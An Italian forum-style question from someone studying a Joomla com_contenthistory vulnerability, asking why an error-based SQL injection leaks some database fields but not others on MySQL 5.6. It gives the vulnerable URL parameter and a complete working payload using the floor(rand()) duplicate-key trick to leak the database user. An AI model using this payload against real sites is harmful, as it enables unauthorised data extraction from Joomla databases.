Attualmente sto studiando l'ultima vulnerabilità che interessa il CMS di Joomla.
Puoi trovare qui una descrizione della vulnerabilità , tuttavia la mia domanda riguarda solo iniezioni SQL basate su errori ed è indipendente dal contesto.
-
L'URL di base che utilizzo per accedere alla vulnerabilità è:
https://example.com/index.php?option=com_contenthistory&view=history&list[select]=SQL_INJECTION_HERE
-
L'iniezione che uso è nella forma:
(select col.a Array from (select count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns, jml_users group by a) col) ,'A' union select uc.id
L'esempio sopra funziona bene: eseguirlo un po 'di tempo genera in modo casuale Subquery returns more than 1 row
e i messaggi di errore Duplicate entry '::joomla@localhost::0' for key 'group_key'
attesi che perdono l'utente MySQL usato da Joomla :)!
Tuttavia, non posso accedere a tutti i contenuti del database. Alcuni campi generano sempre Subquery returns more than 1 row
e non perdono mai le informazioni che contengono.
Questa limitazione è riproducibile quando ci si collega direttamente a un prompt di MySQL.
Non ho riscontrato alcuna descrizione di questa (piuttosto noiosa) limitazione negli articoli che ho letto sull'argomento. È qualcosa di noto? E 'specifico per la mia versione di MySQL (5.6.14-enterprise-commercial-advanced)? C'è qualche soluzione?